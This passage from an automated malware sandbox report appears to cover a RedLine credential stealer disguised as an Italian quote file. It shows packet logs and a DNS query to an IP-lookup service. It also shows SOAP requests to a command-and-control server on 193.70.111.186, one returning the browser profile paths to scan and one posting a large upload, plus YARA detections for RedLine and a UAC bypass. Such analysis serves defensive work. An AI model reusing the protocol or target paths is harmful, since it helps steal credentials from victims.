Nov 13, 2024 15:02:38.060198069 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.060209990 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.060233116 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.060245037 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.060256958 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.060269117 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.060336113 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.060348988 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.060359955 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.060456991 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.060475111 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.060487032 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.060498953 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.060511112 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.060523033 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.060534954 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.060723066 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.060734987 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.060746908 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.060760975 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.060772896 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.060785055 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.060796022 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.060820103 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.060832024 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.060844898 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.060947895 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.060981035 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.061055899 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.061069012 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.061096907 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.061110020 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.061120987 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.061249971 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.061263084 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.061275005 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.061286926 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.061297894 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.061378956 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.061392069 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.061403036 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.061414957 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.061480045 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.061492920 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.061505079 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.061517954 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.061599016 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.061611891 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.061624050 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.061636925 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.061729908 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.061743021 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.061764956 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.061777115 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.061788082 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.061851978 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.061909914 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.061923027 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.061939955 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.061953068 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.061975956 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.062028885 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.062041044 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.062098980 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.062113047 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.062124968 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.062136889 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.062149048 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.062163115 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.062174082 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.062186003 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.062191963 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.062196970 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.062207937 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.062228918 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.062241077 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.062333107 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.062345028 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.062405109 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.062417984 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.062505007 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.062516928 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.062527895 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.062714100 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.062726974 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.062738895 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.062752008 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.062764883 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.062777996 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.062788963 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.062959909 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.062972069 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.062984943 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.062998056 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.063011885 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.063024044 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.063035965 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.063047886 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.063060045 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.063121080 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.063133955 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.063146114 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.063158035 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.063186884 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.063199043 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.063210964 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.063222885 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.063240051 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.063410997 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.063424110 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.063436985 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.063448906 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.063462019 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.063474894 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.063496113 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.063508034 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.063961029 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.063972950 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.063987017 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.063998938 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.064011097 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.064023018 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.064295053 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.064306974 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.064351082 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.064363003 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.064374924 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.064387083 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.064399004 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.064656019 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.064668894 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.064680099 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.064692974 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.064704895 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.064717054 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.064728975 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.064740896 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.064752102 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.064764977 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.064775944 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.064788103 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.064800024 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.064811945 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.064836025 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.064847946 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.064858913 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.064871073 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.064882994 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.064894915 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.064907074 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.064918041 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.064930916 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.064944983 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.064958096 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.064970016 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.064981937 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.064994097 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.065006018 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.065016985 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.065028906 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.065042019 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.065054893 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.065068007 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.065079927 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.065092087 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.065104961 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.065128088 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.065140963 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.065152884 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.065165043 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.065176964 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.065188885 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.065201044 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.065212965 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.065226078 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.065237999 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.065249920 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:38.106367111 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:39.262367010 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:39.262727976 CET	13484	49744	193.70.111.186	192.168.2.7
Nov 13, 2024 15:02:39.262976885 CET	49744	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:39.280394077 CET	49731	13484	192.168.2.7	193.70.111.186
Nov 13, 2024 15:02:39.280533075 CET	49744	13484	192.168.2.7	193.70.111.186

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 13, 2024 15:02:33.103903055 CET	53177	53	192.168.2.7	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 13, 2024 15:02:33.103903055 CET	192.168.2.7	1.1.1.1	0x4d38	Standard query (0)	api.ip.sb	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 13, 2024 15:02:33.111828089 CET	1.1.1.1	192.168.2.7	0x4d38	No error (0)	api.ip.sb	api.ip.sb.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

193.70.111.186:13484

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49699	193.70.111.186	13484	6936	C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 15:02:26.732788086 CET	241	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/CheckConnect" Host: 193.70.111.186:13484 Content-Length: 137 Expect: 100-continue Accept-Encoding: gzip, deflate Connection: Keep-Alive
Nov 13, 2024 15:02:27.662338972 CET	359	IN	HTTP/1.1 200 OK Content-Length: 212 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Wed, 13 Nov 2024 14:02:27 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 43 68 65 63 6b 43 6f 6e 6e 65 63 74 52 65 73 70 6f 6e 73 65 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 22 3e 3c 43 68 65 63 6b 43 6f 6e 6e 65 63 74 52 65 73 75 6c 74 3e 74 72 75 65 3c 2f 43 68 65 63 6b 43 6f 6e 6e 65 63 74 52 65 73 75 6c 74 3e 3c 2f 43 68 65 63 6b 43 6f 6e 6e 65 63 74 52 65 73 70 6f 6e 73 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><CheckConnectResponse xmlns="http://tempuri.org/"><CheckConnectResult>true</CheckConnectResult></CheckConnectResponse></s:Body></s:Envelope>
Nov 13, 2024 15:02:32.733220100 CET	224	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/EnvironmentSettings" Host: 193.70.111.186:13484 Content-Length: 144 Expect: 100-continue Accept-Encoding: gzip, deflate
Nov 13, 2024 15:02:33.019684076 CET	1236	IN	HTTP/1.1 200 OK Content-Length: 4744 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Wed, 13 Nov 2024 14:02:32 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 45 6e 76 69 72 6f 6e 6d 65 6e 74 53 65 74 74 69 6e 67 73 52 65 73 70 6f 6e 73 65 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 22 3e 3c 45 6e 76 69 72 6f 6e 6d 65 6e 74 53 65 74 74 69 6e 67 73 52 65 73 75 6c 74 20 78 6d 6c 6e 73 3a 61 3d 22 42 72 6f 77 73 65 72 45 78 74 65 6e 73 69 6f 6e 22 20 78 6d 6c 6e 73 3a 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 3e 3c 61 3a 42 6c 6f 63 6b 65 64 43 6f 75 6e 74 72 79 20 78 6d 6c 6e 73 3a 62 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 32 30 30 33 2f 31 30 2f 53 65 72 69 61 6c 69 7a 61 74 69 6f 6e 2f 41 72 72 61 79 73 22 2f 3e 3c 61 3a 42 6c 6f 63 6b 65 64 49 50 20 78 6d 6c [TRUNCATED] Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><EnvironmentSettingsResponse xmlns="http://tempuri.org/"><EnvironmentSettingsResult xmlns:a="BrowserExtension" xmlns:i="http://www.w3.org/2001/XMLSchema-instance"><a:BlockedCountry xmlns:b="http://schemas.microsoft.com/2003/10/Serialization/Arrays"/><a:BlockedIP xmlns:b="http://schemas.microsoft.com/2003/10/Serialization/Arrays"/><a:Object4>true</a:Object4><a:Object6>false</a:Object6><a:ScanBrowsers>true</a:ScanBrowsers><a:ScanChromeBrowsersPaths xmlns:b="http://schemas.microsoft.com/2003/10/Serialization/Arrays"><b:string>%USERPROFILE%\AppData\Local\Battle.net</b:string><b:string>%USERPROFILE%\AppData\Local\Chromium\User Data</b:string><b:string>%USERPROFILE%\AppData\Local\Google\Chrome\User Data</b:string><b:string>%USERPROFILE%\AppData\Local\Google(x86)\Chrome\User Data</b:string><b:string>%USERPROFILE%\AppData\Roaming\Opera Software\</b:string><b:string>%USERPROFILE%\AppData\Local\MapleStudio\ChromePlus\User Data</b:string [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49731	193.70.111.186	13484	6936	C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 15:02:35.795759916 CET	222	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/SetEnvironment" Host: 193.70.111.186:13484 Content-Length: 954608 Expect: 100-continue Accept-Encoding: gzip, deflate
Nov 13, 2024 15:02:37.437443018 CET	294	IN	HTTP/1.1 200 OK Content-Length: 147 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Wed, 13 Nov 2024 14:02:37 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 53 65 74 45 6e 76 69 72 6f 6e 6d 65 6e 74 52 65 73 70 6f 6e 73 65 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 22 2f 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><SetEnvironmentResponse xmlns="http://tempuri.org/"/></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.7	49744	193.70.111.186	13484	6936	C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 15:02:37.445574999 CET	242	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/GetUpdates" Host: 193.70.111.186:13484 Content-Length: 954600 Expect: 100-continue Accept-Encoding: gzip, deflate Connection: Keep-Alive
Nov 13, 2024 15:02:39.262367010 CET	408	IN	HTTP/1.1 200 OK Content-Length: 261 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Wed, 13 Nov 2024 14:02:38 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 47 65 74 55 70 64 61 74 65 73 52 65 73 70 6f 6e 73 65 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 22 3e 3c 47 65 74 55 70 64 61 74 65 73 52 65 73 75 6c 74 20 78 6d 6c 6e 73 3a 61 3d 22 42 72 6f 77 73 65 72 45 78 74 65 6e 73 69 6f 6e 22 20 78 6d 6c 6e 73 3a 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 2f 3e 3c 2f 47 65 74 55 70 64 61 74 65 73 52 65 73 70 6f 6e 73 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><GetUpdatesResponse xmlns="http://tempuri.org/"><GetUpdatesResult xmlns:a="BrowserExtension" xmlns:i="http://www.w3.org/2001/XMLSchema-instance"/></GetUpdatesResponse></s:Body></s:Envelope>
Nov 13, 2024 15:02:39.262727976 CET	408	IN	HTTP/1.1 200 OK Content-Length: 261 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Wed, 13 Nov 2024 14:02:38 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 47 65 74 55 70 64 61 74 65 73 52 65 73 70 6f 6e 73 65 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 22 3e 3c 47 65 74 55 70 64 61 74 65 73 52 65 73 75 6c 74 20 78 6d 6c 6e 73 3a 61 3d 22 42 72 6f 77 73 65 72 45 78 74 65 6e 73 69 6f 6e 22 20 78 6d 6c 6e 73 3a 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 2f 3e 3c 2f 47 65 74 55 70 64 61 74 65 73 52 65 73 70 6f 6e 73 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><GetUpdatesResponse xmlns="http://tempuri.org/"><GetUpdatesResult xmlns:a="BrowserExtension" xmlns:i="http://www.w3.org/2001/XMLSchema-instance"/></GetUpdatesResponse></s:Body></s:Envelope>

Target ID:	0
Start time:	09:02:17
Start date:	13/11/2024
Path:	C:\Users\user\Desktop\Preventivo#09678.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\Preventivo#09678.exe"
Imagebase:	0x213c9630000
File size:	1'583'745 bytes
MD5 hash:	761710E429B4487833E5F9695DA7A981
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 00000000.00000002.1518059605.00000213CB9A7000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.1530009527.00000213DBEF4000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000000.00000002.1530009527.00000213DBEF4000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_RedLineStealer_f54632eb, Description: unknown, Source: 00000000.00000002.1530009527.00000213DBEF4000.00000004.00000800.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	09:02:24
Start date:	13/11/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe"
Imagebase:	0xd90000
File size:	47'584 bytes
MD5 hash:	94C8E57A80DFCA2482DEDB87B93D4FD9
Has elevated privileges:	true
